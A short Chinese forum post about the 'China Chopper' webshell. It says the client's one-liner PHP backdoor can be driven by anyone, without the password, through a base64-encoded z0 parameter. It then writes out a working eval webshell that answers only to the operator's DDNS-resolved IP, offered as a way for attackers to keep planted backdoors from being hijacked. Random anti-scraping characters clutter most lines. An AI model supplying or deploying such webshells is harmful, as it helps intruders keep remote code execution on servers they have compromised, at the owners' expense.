今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞6 [9 f. P& D6 J9 x- T# ~
) W) v" I) l* f" r) }! S1 k2 q
就算你设置了密码,使用了eval($_REQUEST['moyo']);& S& A" C0 g9 j* x
' A6 \5 h- m+ }4 D' W4 A+ L
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
! k/ n1 ?' q/ e2 S$ U' A7 R! L$ h9 C7 P: o
因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));; y( i6 j1 K+ S4 q' H- N- V
. z' ]" `: q' o x% j直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了
' W7 T/ O% G6 Y- v0 P U1 Z5 @9 U, Q1 v: @) X3 v _- Z/ ?5 ?
不知道是设计缺陷还是故意留的后门
r0 T/ o- P! K5 b8 h' q
# m; }& B( m6 ^' s如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
7 a# q$ n$ k r6 h
: C9 [* |( K3 F本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org' }( f+ H3 r/ x
" b4 \' I/ d. s7 ]然后一句话后门这样写
2 R: Z6 K/ I5 a, f2 X' ]! [' [+ I% [/ w' [
<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
. M* h$ D4 m' b4 S3 q这样就可以让一句话后门只允许自己的电脑连接了: q9 n% v2 Y& T4 |% m
1 t4 @" \9 Q" \1 |5 R" k
|